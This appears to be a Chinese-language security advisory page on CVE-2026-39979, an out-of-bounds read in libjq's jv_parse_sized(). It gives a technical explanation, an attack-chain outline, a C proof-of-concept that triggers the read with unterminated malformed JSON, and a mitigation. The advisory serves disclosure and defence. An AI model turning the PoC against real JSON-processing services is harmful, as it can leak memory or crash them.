IPBUF安全漏洞报告
English
CVE-2026-39979 CVSS 6.5 中危

CVE-2026-39979 jq库越界读取漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-39979
漏洞类型
越界读取
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
jq / libjq

相关标签

CVE-2026-39979jqlibjq越界读取内存泄露拒绝服务

漏洞概述

该漏洞存在于jq命令行JSON处理器的libjq库中。在特定提交之前,`jv_parse_sized()` API虽然接受显式长度参数,但在错误处理路径中使用`%s`格式化输入缓冲区,导致忽略长度参数并读取至NULL终止符。当处理非NULL结尾的畸形JSON时,会触发越界读取,可能造成内存泄露或程序崩溃。

技术细节

漏洞的核心在于libjq库中`jv_parse_sized()`函数的实现缺陷。该函数虽然设计了接收显式长度参数的接口,意图处理非NULL终止的缓冲区,但在其错误处理分支中,错误地使用了`%s`格式化符通过`jv_string_fmt()`来格式化输入数据。由于`%s`在C语言标准库中依赖于NULL终止符来确定字符串结尾,它会无视传入的长度限制,持续向后读取内存。当攻击者向使用libjq的应用程序提交一段精心构造的、非NULL结尾的畸形JSON数据,并成功触发解析错误时,程序便会执行越界读取操作。这种越界读取不仅可能泄露堆或栈中的敏感内存信息,严重时还会因访问未映射内存区域导致进程崩溃,构成拒绝服务风险。

攻击链分析

STEP 1
侦察
攻击者识别出目标应用程序使用了存在漏洞的libjq库版本处理JSON数据。
STEP 2
准备载荷
攻击者构造一段特殊的畸形JSON数据,该数据不以NULL字节结尾,且能够触发解析错误(如缺少闭合括号)。
STEP 3
传递输入
攻击者将载荷发送给目标应用程序,应用程序调用`jv_parse_sized()` API并指定数据长度进行处理。
STEP 4
触发漏洞
由于JSON格式错误,解析流程进入错误处理路径。错误处理函数使用`%s`格式化符读取输入缓冲区,无视长度限制,导致越界读取。
STEP 5
达成影响
根据内存布局,攻击者可能读取到缓冲区后的敏感内存数据(信息泄露),或导致程序访问非法内存而崩溃(拒绝服务)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-39979 * This code demonstrates the Out-of-Bounds read vulnerability in libjq. * It attempts to parse malformed JSON without a NULL terminator via jv_parse_sized. * Compile with: gcc -o poc_cve2026_39979 poc_cve2026_39979.c -ljq */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <jq.h> int main() { // Initialize libjq state (required for newer versions) jq_state *jq = jq_init(); if (!jq) { fprintf(stderr, "Failed to initialize jq state\n"); return 1; } // 1. Create malformed JSON that is NOT null-terminated. // This represents an attacker-controlled buffer. // The buffer contains '{"key": "value"' (missing closing brace). char malformed_data[] = {'{', '"', 'k', 'e', 'y', '"', ':', '"', 'v', 'a', 'l', 'u', 'e', '"'}; size_t data_len = sizeof(malformed_data); printf("[+] Sending malformed JSON (length %zu) without NULL terminator...\n", data_len); // 2. Call the vulnerable API jv_parse_sized. // This tells libjq to only read 'data_len' bytes. // However, if parsing fails, the error path uses %s which ignores the length. jv parsed = jv_parse_sized(malformed_data, data_len); // 3. Check if parsing failed (expected due to malformed JSON). if (!jv_is_valid(parsed)) { printf("[!] Parsing failed as expected.\n"); // 4. Retrieve the error message. // Inside jv_invalid_get_msg(), the vulnerable code path is triggered: // It tries to print 'malformed_data' using %s, reading past the buffer. jv err_msg = jv_invalid_get_msg(parsed); if (jv_is_valid(err_msg)) { printf("[+] Error message retrieved (OOB read occurred internally):\n"); printf(" %s\n", jv_string_value(err_msg)); jv_free(err_msg); } else { jv_free(err_msg); } } else { printf("[-] Parsing succeeded unexpectedly.\n"); jv_free(parsed); } // Cleanup jq_teardown(&jq); return 0; }

影响范围

jq < commit 2f09060afab23fe9390cce7cb860b10416e1bf5f

防御指南

临时缓解措施
作为临时缓解措施,开发者可以在调用`jv_parse_sized()`之前,确保所有输入缓冲区均已手动添加NULL终止符,或者对输入数据进行严格的格式校验,确保其符合标准JSON格式且包含终止符。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表